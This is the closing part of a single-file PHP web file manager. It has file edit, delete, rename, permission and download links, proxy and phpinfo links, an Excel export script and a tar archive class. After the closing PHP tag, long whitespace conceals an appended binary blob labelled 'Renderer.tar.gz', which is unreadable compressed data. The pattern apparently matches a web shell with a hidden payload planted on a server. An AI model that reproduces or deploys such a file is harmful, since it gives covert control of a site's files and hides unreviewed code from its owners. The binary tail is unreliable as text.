			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK     |\&\d d   Renderer.tar.gznu [              	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
